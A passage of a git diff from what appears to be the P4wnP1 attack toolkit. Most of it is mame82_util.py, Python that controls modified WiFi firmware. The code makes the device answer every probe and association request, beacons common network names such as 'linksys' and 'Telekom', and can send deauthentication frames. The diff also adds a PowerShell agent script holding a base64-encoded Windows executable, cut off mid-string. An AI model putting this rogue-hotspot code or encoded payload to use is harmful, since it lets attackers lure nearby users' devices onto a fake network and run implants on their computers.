MaMe82_IO.set_autoremove_custom_ssids(val) + except ValueError: + print error + + + + print "" + print_conf() + + + +if __name__ == "__main__": + if not MaMe82_IO.check_for_karma_cap(): + print "The current WiFi Firmware in use doesn't seem to support KARMA" + print "A modified and precompiled nexmon firmware for Pi3 / Pi0w with KARMA support could" + print "be found here:\thttps://github.com/mame82/P4wnP1_nexmon_additions" + sys.exit() + else: + print "Firmware in use seems to be KARMA capable" + + if len(sys.argv) < 2: + usage() + sys.exit() + main(sys.argv[1:]) + diff --git a/dist/legacy/mame82_util.py b/dist/legacy/mame82_util.py new file mode 100755 index 0000000..866a227 --- /dev/null +++ b/dist/legacy/mame82_util.py @@ -0,0 +1,703 @@ +#!/usr/bin/python + +# This file is part of P4wnP1. +# +# Copyright (c) 2017, Marcus Mengs. +# +# P4wnP1 is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# P4wnP1 is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with P4wnP1. If not, see . + + +# The python classes are used to configure the MaMe82 nexmon firmware mod +# while an access point is up and running + +import fcntl +import socket +import os +from ctypes import * +import struct + +class struct_mame82_probe_resp_arg(Structure): + _fields_ = [("da", c_ubyte*6), + ("bssid", c_ubyte*6)] + +class struct_mame82_deauth_arg(Structure): + _fields_ = [("da", c_ubyte*6), + ("bssid", c_ubyte*6), + ("reason", c_ushort)] + +class struct_ssid_list(Structure): + # we define the fields afterwards to allow creating a pointer to this struct + # which only is declared here (no fields defined so far) + pass + +struct_ssid_list._fields_ = [("next", POINTER(struct_ssid_list)), + ("ssid", c_ubyte*33), + ("len_ssid", c_ubyte), + ("assoc_req", c_uint), + ("bcn_send", c_uint)] + +class struct_mame82_config(Structure): + _fields_ = [("karma_probes", c_bool), + ("karma_assocs", c_bool), + ("karma_beacons", c_bool), + ("custom_beacons", c_bool), + ("debug_out", c_bool), + ("ssids_custom", c_void_p), + ("ssids_karma", c_void_p), + ("karma_beacon_autoremove", c_uint), + ("custom_beacon_autoremove", c_uint), + ("max_karma_beacon_ssids", c_ubyte), + ("max_custom_beacon_ssids", c_ubyte)] + +class struct_mame82_config(Structure): + _fields_ = [("karma_probes", c_bool), + ("karma_assocs", c_bool), + ("karma_beacons", c_bool), + ("custom_beacons", c_bool), + ("debug_out", c_bool), + ("ssids_custom", POINTER(struct_ssid_list)), + ("ssids_karma", POINTER(struct_ssid_list)), + ("karma_beacon_autoremove", c_uint), + ("custom_beacon_autoremove", c_uint), + ("max_karma_beacon_ssids", c_ubyte), + ("max_custom_beacon_ssids", c_ubyte)] + +class struct_nlmsghdr(Structure): + _fields_ = [("nlmsg_len", c_uint), + ("nlmsg_type", c_ushort), + ("nlmsg_flags", c_ushort), + ("nlmsg_seq", c_uint), + ("nlmsg_pid", c_uint)] + + +class struct_IOCTL(Structure): + _fields_ = [("cmd", c_uint), + ("buf", c_void_p), + ("len", c_uint), + ("set", c_bool), + ("used", c_uint), + ("needed", c_uint), + ("driver", c_uint)] + +class struct_IFREQ(Structure): + _fields_ = [("ifr_name", c_char*16), + ("ifr_data", c_void_p)] + + +class struct_nexudp_hdr(Structure): + _fields_ = [("nex", c_char * 3), + ("type", c_char), + ("securitycookie", c_int)] + + +class struct_nexudp_ioctl_hdr(Structure): + _fields_ = [("nexudphdr", struct_nexudp_hdr), + ("cmd", c_uint), + ("set", c_uint), + ("payload", c_byte * 1)] + + +def mac2bstr(mac): + res = "" + for v in mac.split(":"): + res += chr(int(v,16)) + return res + +class nexconf: + NLMSG_ALIGNTO = 4 + RTMGRP_LINK = 1 +# IFLA_IFNAME = 3 +# NLM_F_REQUEST = 0x0001 +# NLM_F_ROOT = 0x0100 +# NLMSG_NOOP = 0x0001 +# NLMSG_ERROR = 0x0002 +# NLMSG_DONE = 0x0003 + + NEXUDP_IOCTL = 0 + NETLINK_USER = 31 + + @staticmethod + def create_cmd_ioctl(cmd, buf, set_val=False): + ioctl = struct_IOCTL() + ioctl.cmd = cmd + ioctl.buf = cast(c_char_p(buf), c_void_p) + ioctl.len = len(buf) + ioctl.set = set_val + ioctl.driver = 0x14e46c77 + return ioctl + + @staticmethod + def create_ifreq(ifr_name, ifr_data): + ifr = struct_IFREQ() + ifr.ifr_name = struct.pack("16s", ifr_name) # padded with zeroes (maybe utf-8 conversion should be assured ?!?!) + ifr.ifr_data = cast(pointer(ifr_data), c_void_p) + return ifr + + @staticmethod + def c_struct2str(c_struct): + return string_at(addressof(c_struct), sizeof(c_struct)) + + @staticmethod + def ptr2str(ptr, length): + return string_at(ptr, length) + + @staticmethod + def ctype2pystr(ct): + return buffer(ct)[:] + + @staticmethod + def print_struct(struct, pre=""): + for field_name, field_type in struct._fields_: + print pre, field_name, field_type, getattr(struct, field_name) + + @staticmethod + def NLMSG_ALIGN(length): + return ((length + nexconf.NLMSG_ALIGNTO-1) & ~(nexconf.NLMSG_ALIGNTO - 1)) + + @staticmethod + def NLMSG_HDRLEN(): + return nexconf.NLMSG_ALIGN(sizeof(struct_nlmsghdr)) + + @staticmethod + def NLMSG_LENGTH(length): + return length + nexconf.NLMSG_ALIGN(nexconf.NLMSG_HDRLEN()) + + @staticmethod + def NLMSG_SPACE(length): + return nexconf.NLMSG_ALIGN(nexconf.NLMSG_LENGTH(length)) + + @staticmethod + def NLMSG_DATA(nlh): + c = cast(nlh, c_void_p) + c.value += nexconf.NLMSG_LENGTH(0) # inc is only possible for void ptr, we don't need to cast to char first as incrementation is done in single bytes (by adding to value) + return c + + @staticmethod + def openNL_sock(): + try: + s = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, nexconf.NETLINK_USER) + except socket.error: + print "No Netlink IOCTL connection possible" + return None + + # bind to kernel + s.bind((os.getpid(), 0)) + + return s + + def closeNL_sock(s): + s.close() + + @staticmethod + def sendNL_IOCTL(ioc, debug=False, rawresult=False, nl_socket_fd=None): + ### NETLINK test #### + + if debug: + print "Sending NL IOCTL\n\tcmd: {0}\n\tset_enabled: {1}\n\tpayload: {2}".format(ioc.cmd, ioc.set, repr(nexconf.ptr2str(ioc.buf, ioc.len))) + + + + + frame_len = ioc.len + sizeof(struct_nexudp_ioctl_hdr) - sizeof(c_char) + frame = struct_nexudp_ioctl_hdr() + + nlhbuf = create_string_buffer(nexconf.NLMSG_SPACE(frame_len)) + nlh = cast(pointer(nlhbuf), POINTER(struct_nlmsghdr)) + + nlh.contents.nlmsg_len = nexconf.NLMSG_SPACE(frame_len) + nlh.contents.nlmsg_pid = os.getpid(); + nlh.contents.nlmsg_flags = 0; + + + pdata = nexconf.NLMSG_DATA(nlh) + frame = cast(pdata, POINTER(struct_nexudp_ioctl_hdr)) + frame.contents.nexudphdr.nex = 'NEX' + frame.contents.nexudphdr.type = chr(nexconf.NEXUDP_IOCTL) + frame.contents.nexudphdr.securitycookie = 0; + + frame.contents.cmd = ioc.cmd + frame.contents.set = ioc.set + #frame.contents.payload = nexconf.ptr2str(ioc.buf, ioc.len) + memmove(addressof(frame.contents.payload), ioc.buf, ioc.len) + + + + # frame to string + fstr = nexconf.ptr2str(frame, nexconf.NLMSG_SPACE(frame_len) - nexconf.NLMSG_LENGTH(0)) + + #full buf to string (including nlhdr) + p_nlhbuf = pointer(nlhbuf) + bstr = nexconf.ptr2str(p_nlhbuf, nexconf.NLMSG_SPACE(frame_len)) + + + ''' + print "NL HEADER" + print type(p_nlhbuf) + print repr(bstr) + print repr(buffer(p_nlhbuf.contents)[:]) + print "NL MESSAGE DATA" + print type(frame) + print repr(fstr) + print repr(buffer(frame.contents)[:]) + ''' + + sfd = None + s = None + if nl_socket_fd == None: + try: + s = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, nexconf.NETLINK_USER) + except socket.error: + print "No Netlink IOCTL connection possible" + return None + + # bind to kernel + s.bind((os.getpid(), 0)) + sfd = os.fdopen(s.fileno(), 'w+b') + else: + sfd = nl_socket_fd + + sfd.write(bstr) + sfd.flush() + + ret = "" + if (ioc.set == 0): + # read back result (CAUTION THERE'S NO SOCKET TIMEOUT IN USE, SO THIS COULD STALL) + if debug: + print "Reading back NETLINK answer ..." + res_frame = sfd.read(nlh.contents.nlmsg_len) + res_frame_len = len(res_frame) + if rawresult: + # don't cast and parse headers + sfd.close() + s.close() + return res_frame + + # pointer to result buffer + p_res_frame = cast(c_char_p(res_frame), c_void_p) + + # point struct nlmsghdr to p_res_frame + p_nlh = cast(p_res_frame, POINTER(struct_nlmsghdr)) + + # grab pointer to data part of nlmsg + p_nld_void = nexconf.NLMSG_DATA(p_nlh) + + # convert to: struct nexudp_ioctl_hdr* + p_nld = cast(p_nld_void, POINTER(struct_nexudp_ioctl_hdr)) + + # calculate offset to payload from p_res_frame + offset_payload = addressof(p_nld.contents.payload) - p_res_frame.value + + payload = res_frame[offset_payload:] + + if debug: + nexconf.print_struct(p_nlh.contents, "\t") + nexconf.print_struct(p_nld.contents, "\t") + nexconf.print_struct(p_nld.contents.nexudphdr, "\t") + print "\tpayload:\t" + repr(payload) + + + #return only payload part of res frame + ret = payload + + if nl_socket_fd == None: + sfd.close() + s.close() + + return ret + + @staticmethod + def send_IOCTL(ioc, device_name = "wlan0"): + # This code is untested, because our target (BCM43430a1) talks NETLINK + # so on Pi0w sendNL_IOCTL should be used + + SIOCDEVPRIVATE = 0x89F0 + + # create ioctl ifreq + ifr = nexconf.create_ifreq(device_name, ioc) + + + # debug out + ''' + print repr(nexconf.c_struct2str(ifr)) + print len(nexconf.c_struct2str(ifr)) + print repr(string_at(ifr.ifr_data, sizeof(ioc))) + ''' + + # send ioctl to kernel via UDP socket + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + fcntl.ioctl(s.fileno(), SIOCDEVPRIVATE, ifr) + s.close() + +class MaMe82_IO: + CMD=666 + CMD_RETRIEVE_CAP = 400 + KARMA_CAP = (1 << 7) + + MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_PROBE = 1 + MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_ASSOC = 2 + MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA = 3 + MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_BEACON = 4 + MAME82_IOCTL_ARG_TYPE_SET_KARMA_BEACON_AUTO_REMOVE_COUNT = 5 + MAME82_IOCTL_ARG_TYPE_SET_CUSTOM_BEACON_AUTO_REMOVE_COUNT = 6 + MAME82_IOCTL_ARG_TYPE_ADD_CUSTOM_SSID = 7 + MAME82_IOCTL_ARG_TYPE_DEL_CUSTOM_SSID = 8 + MAME82_IOCTL_ARG_TYPE_CLEAR_CUSTOM_SSIDS = 9 + MAME82_IOCTL_ARG_TYPE_CLEAR_KARMA_SSIDS = 10 + MAME82_IOCTL_ARG_TYPE_SET_ENABLE_CUSTOM_BEACONS = 11 + MAME82_IOCTL_ARG_TYPE_SEND_DEAUTH = 20 + MAME82_IOCTL_ARG_TYPE_SEND_PROBE_RESP = 21 + + MAME82_IOCTL_ARG_TYPE_GET_CONFIG = 100 + MAME82_IOCTL_ARG_TYPE_GET_MEM = 101 + + @staticmethod + def s2hex(s): + return "".join(map("0x%2.2x ".__mod__, map(ord, s))) + + @staticmethod + def send_probe_resp(bssid, da="ff:ff:ff:ff:ff:ff", ie_ssid_data="TEST_SSID", ie_vendor_data=None): + arr_bssid = mac2bstr(bssid) + arr_da = mac2bstr(da) + + ie_ssid_type = 0 + ie_ssid_len = 32 + ie_vendor_type = 221 + ie_vendor_len = 238 + + buf = "" + + if ie_vendor_data == None: + buf = struct.pack(" 32: + print "SSID too long, 32 chars max" + return + ioctl_addssid = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("II{0}s".format(len(ssid)), MaMe82_IO.MAME82_IOCTL_ARG_TYPE_ADD_CUSTOM_SSID, len(ssid), ssid), True) + nexconf.sendNL_IOCTL(ioctl_addssid) + + @staticmethod + def rem_custom_ssid(ssid): + if len(ssid) > 32: + print "SSID too long, 32 chars max" + return + ioctl_addssid = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("II{0}s".format(len(ssid)), MaMe82_IO.MAME82_IOCTL_ARG_TYPE_DEL_CUSTOM_SSID, len(ssid), ssid), True) + nexconf.sendNL_IOCTL(ioctl_addssid) + + @staticmethod + def set_enable_karma_probe(on=True): + if on: + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_PROBE, 1, 1), True) + else: + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_PROBE, 1, 0), True) + nexconf.sendNL_IOCTL(ioctl) + + @staticmethod + def set_enable_karma_assoc(on=True): + if on: + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_ASSOC, 1, 1), True) + else: + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_ASSOC, 1, 0), True) + nexconf.sendNL_IOCTL(ioctl) + + @staticmethod + def set_enable_karma_beaconing(on=True): + if on: + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_BEACON, 1, 1), True) + else: + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_BEACON, 1, 0), True) + nexconf.sendNL_IOCTL(ioctl) + + @staticmethod + def set_enable_custom_beaconing(on=True): + if on: + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_CUSTOM_BEACONS, 1, 1), True) + else: + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_CUSTOM_BEACONS, 1, 0), True) + nexconf.sendNL_IOCTL(ioctl) + + + @staticmethod + def set_enable_karma(on=True): + if on: + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA, 1, 1), True) + else: + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA, 1, 0), True) + nexconf.sendNL_IOCTL(ioctl) + + @staticmethod + def clear_custom_ssids(): + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("II", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_CLEAR_CUSTOM_SSIDS, 0), True) + nexconf.sendNL_IOCTL(ioctl) + + @staticmethod + def clear_karma_ssids(): + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("II", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_CLEAR_KARMA_SSIDS, 0), True) + nexconf.sendNL_IOCTL(ioctl) + + @staticmethod + def set_autoremove_custom_ssids(beacon_count): + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("III", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_CUSTOM_BEACON_AUTO_REMOVE_COUNT, 4, beacon_count), True) + nexconf.sendNL_IOCTL(ioctl) + + @staticmethod + def set_autoremove_karma_ssids(beacon_count): + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("III", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_KARMA_BEACON_AUTO_REMOVE_COUNT, 4, beacon_count), True) + nexconf.sendNL_IOCTL(ioctl) + + @staticmethod + def check_for_karma_cap(): + ioctl = nexconf.create_cmd_ioctl(400, "", False) # there's a length check for the CAPs ioctl, forcing size to 4 (only command, no arg buffer) + res = nexconf.sendNL_IOCTL(ioctl) + if res == None: + return False + else: + cap = struct.unpack("I", res[:4])[0] + # print "Cap: {0}".format(MaMe82_IO.s2hex(res)) + if (cap & MaMe82_IO.KARMA_CAP == 0): + return False + return True + + @staticmethod + def dump_conf(print_res=True, dump_ssids=True): + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("II40s", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_GET_CONFIG, 4, ""), False) + res = nexconf.sendNL_IOCTL(ioctl) + + if res == None: + print "Couldn't retrieve config" + return None + + mame82_config = struct_mame82_config() + memmove(addressof(mame82_config), res, min(len(res), sizeof(struct_mame82_config))) + + if dump_ssids: + mame82_config.ssids_karma = MaMe82_IO.dump_ssid_list(cast(mame82_config.ssids_karma, c_void_p).value) + mame82_config.ssids_custom = MaMe82_IO.dump_ssid_list(cast(mame82_config.ssids_custom, c_void_p).value) + else: + mame82_config.ssids_karma = None + mame82_config.ssids_custom = None + + + if print_res: + print "KARMA PROBES - Answer probe requests for foreign SSIDs [{0}]".format("On" if mame82_config.karma_probes else "Off") + print "KARMA ASSOCS - Answer association requests for foreign SSIDs [{0}]".format("On" if mame82_config.karma_assocs else "Off") + print "KARMA SSIDs - Broadcast beacons for foreigin SSIDs after probe request [{0}]".format("On" if mame82_config.karma_beacons else "Off") + print "CUSTOM SSIDs - Broadcast beacons for custom SSIDs (added by user) [{0}]".format("On" if mame82_config.custom_beacons else "Off") + print "(unused for now) Print debug messages to BCM43430a1 internal console [{0}]".format("On" if mame82_config.debug_out else "Off") + + print "\nStop sending more beacons for KARMA SSIDs if no association request is received\nafter [{0}] beacons (0 send forever)".format(mame82_config.karma_beacon_autoremove) + print "\nStop sending more beacons for CUSTOM SSIDs if no association request is received\nafter [{0}] beacons (0 send forever)".format(mame82_config.custom_beacon_autoremove) + + print "\nMaximum allowed KARMA SSIDs for beaconing (no influence on assocs / probes): [{0}]".format(mame82_config.max_karma_beacon_ssids) + print "Maximum allowed CUSTOM SSIDs: [{0}]".format(mame82_config.max_custom_beacon_ssids) + + print "" + + if cast(mame82_config.ssids_karma, c_void_p).value != None: + print "Beaconed SSIDs from probes (KARMA SSIDs), right now:\n{0}".format(MaMe82_IO.ssid_list2str(mame82_config.ssids_karma)) + + print "" + + if cast(mame82_config.ssids_karma, c_void_p).value != None: + print "Beaconed SSIDs defined by user, right now:\n{0}".format(MaMe82_IO.ssid_list2str(mame82_config.ssids_custom)) + + # fetch structs for SSID list + return mame82_config + + @staticmethod + def ssid_list2str(head): + ssids = [] + cur = head.contents + while cast(cur.next, c_void_p).value != None: + cur = cur.next.contents + str_ssid = "".join(chr(c) for c in cur.ssid[0:cur.len_ssid]) + ssids.append(str_ssid) + return ssids + + @staticmethod + def dump_mem(dump_addr, dump_len, print_res=True): + # valid 0x80 - 0x07ffff + # valid 0x800000 - 0x89ffff + if dump_len < 16: + printf("Minimum length for dumping is 16 bytes") + return "" + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("III{0}s".format(dump_len - 16), MaMe82_IO.MAME82_IOCTL_ARG_TYPE_GET_MEM, 4, dump_addr, ""), False) + res = nexconf.sendNL_IOCTL(ioctl) + if print_res: + print MaMe82_IO.s2hex(res) + return res + + @classmethod + def dump_ssid_list_entry(cls, address): + headdata = cls.dump_mem(address, sizeof(struct_ssid_list), print_res=False) + head = struct_ssid_list() + memmove(addressof(head), headdata, len(headdata)) + return head + + @classmethod + def dump_ssid_list(cls, address): + cur = cls.dump_ssid_list_entry(address) + head = cur + p_next = cast(cur.next, c_void_p) + while p_next.value != None: + #print "p_next {0}".format(hex(p_next.value)) + next_entry = cls.dump_ssid_list_entry(p_next.value) + cur.next = pointer(next_entry) # replace pointer to next element with a one valid in py + cur = cur.next.contents # advance cur to next element (dreferenced) + p_next = cast(cur.next, c_void_p) # update pointer to next and cast to void* + + # return pointer to head element + return pointer(head) + + @classmethod + def set_defaults(cls): + cls.add_custom_ssid("linksys") + cls.add_custom_ssid("NETGEAR") + cls.add_custom_ssid("dlink") + cls.add_custom_ssid("AndroidAP") + cls.add_custom_ssid("default") + cls.add_custom_ssid("cablewifi") + cls.add_custom_ssid("asus") + cls.add_custom_ssid("Guest") + cls.add_custom_ssid("Telekom") + cls.add_custom_ssid("xerox") + cls.add_custom_ssid("tmobile") + cls.add_custom_ssid("Telekom_FON") + cls.add_custom_ssid("freifunk") + + cls.set_enable_karma(True) # send probe responses and association responses for foreign SSIDs + + cls.set_enable_karma_beaconing(False) # send beacons for SSIDs seen in probe requests (we better don't enable this by default) + cls.set_autoremove_karma_ssids(600) # remove SSIDs from karma beaconing, which didn't received an assoc request after 600 beacons (1 minute) + + cls.set_enable_custom_beaconing(True) # send beacons for the custom SSIDs set with 'add_custom_ssid' + cls.set_autoremove_custom_ssids(0) # never remove custom SSIDs from beaconing list, if they didn't receive an assoc request + + #cls.dump_conf(print_res=True) + + +def ioctl_get_test(): + ### Send ioctl comand via netlink: test of GET (cmd 262, value 'bsscfg:ssid' in a buffer large enough to receive the response) ###### + + # test to read a IO var for bsscfg:ssid (resp buffer: 4 bytes for uint32 ssid_len, 32 bytes for max len SSID) + # Note: + # The payload buffer size for send and recv are te same (36 in this test case), although the payload sent + # has only 11 bytes ("bsscfg:ssid") which are used. This has no impact for parsing the request for SSID on + # driver/firmware end. This means: We are free to choose the response buffer size, by adjusting the request buffer size. + # In case of the SSID request, the buffer is only partially overwritten with the response (for SSID 'test' only the first 8 bytes). + # The rest of the buffer isn't cleared to 0x00, but the response is prepended with an uint32 length field, which could be used + # to scrape out the relevant part of the response string. + # As I haven't dived into the inner workings of NETLINK, I haven't tested for responses which don't fit in a single message, + # but it is likely that those responses are fragmented over multiple NL messages and the nlmsg_seq header field is used to + # distinguish them. Anyway, this code DOESN'T ACCOUNT FOR THIS AND DOESN'T RECEIVE FRAGMENTED RESPONSES. NOR DOES THIS CODE ACCOUNT + # FOR MAXIMUM MESSAGE SIZE WHEN IT COMES TO SENDING (USING BUFFER WHICH ARE TOO LARGE). + # So this is considered experimental, the correct tool to use is nexutil written by the creators of nexmon ;-) + + ioctl_readvar_ssid = nexconf.create_cmd_ioctl(262, struct.pack("36s", "bsscfg:ssid"), False) + res = nexconf.sendNL_IOCTL(ioctl_readvar_ssid) + + # clamp result string + res_len = struct.unpack("I", res[:4])[0] + res_str = res[4:4+res_len] + print res_str + + + +# As soon as an AP is running with hostapd (and backed by the customized nexmon firmware) +# the IOCTL to set up karma could be received. +# +# The hardcoded example commands below bring up a KARMA hotspot (responds to every probe/association +# request which the STA wants to see), with 13 additional SSIDs and BEACONING enabled for probed SSIDs +# Additionally the autoremove feature is enabled, for SSIDs not receiving an assoc request in timely +# manner. +# +# Each of this commands could be use to interactively manipulate the firmware from a python console. +# +# Example to disable KARMA: +# -------------------------------- +# >>> from mame82_util import * +# >>> MaMe82_IO.set_enable_karma(False) +# Sending NL IOCTL +# cmd: 666 +# set_enabled: True +# payload: '\x03\x00\x00\x00\x01\x00\x00\x00\x00' +# +# +# Example to enable KARMA + Beaconing for SSIDs from probe requests: +# ------------------------------------------------------------------ +# >>> from mame82_util import * +# >>> MaMe82_IO.set_enable_karma(True) +# Sending NL IOCTL +# cmd: 666 +# set_enabled: True +# payload: '\x03\x00\x00\x00\x01\x00\x00\x00\x01' +# >>> MaMe82_IO.set_enable_karma_beaconing(True) +# Sending NL IOCTL +# cmd: 666 +# set_enabled: True +# payload: '\x04\x00\x00\x00\x01\x00\x00\x00\x01' +# +# + + +### Example configuration for MaMe82 KARMA nexmon firmware mod ### +#MaMe82_IO.set_defaults() diff --git a/dist/legacy/mame82_util.pyc b/dist/legacy/mame82_util.pyc new file mode 100644 index 0000000..a18f949 Binary files /dev/null and b/dist/legacy/mame82_util.pyc differ diff --git a/dist/legacy/test.ps1 b/dist/legacy/test.ps1 new file mode 100644 index 0000000..b1be528 --- /dev/null +++ b/dist/legacy/test.ps1 @@ -0,0 +1 @@ +calc.exe diff --git a/dist/legacy/wifi_agent.ps1 b/dist/legacy/wifi_agent.ps1 new file mode 100644 index 0000000..1ffd441 --- /dev/null +++ b/dist/legacy/wifi_agent.ps1 @@ -0,0 +1,4 @@ +$srvID=9 +$s="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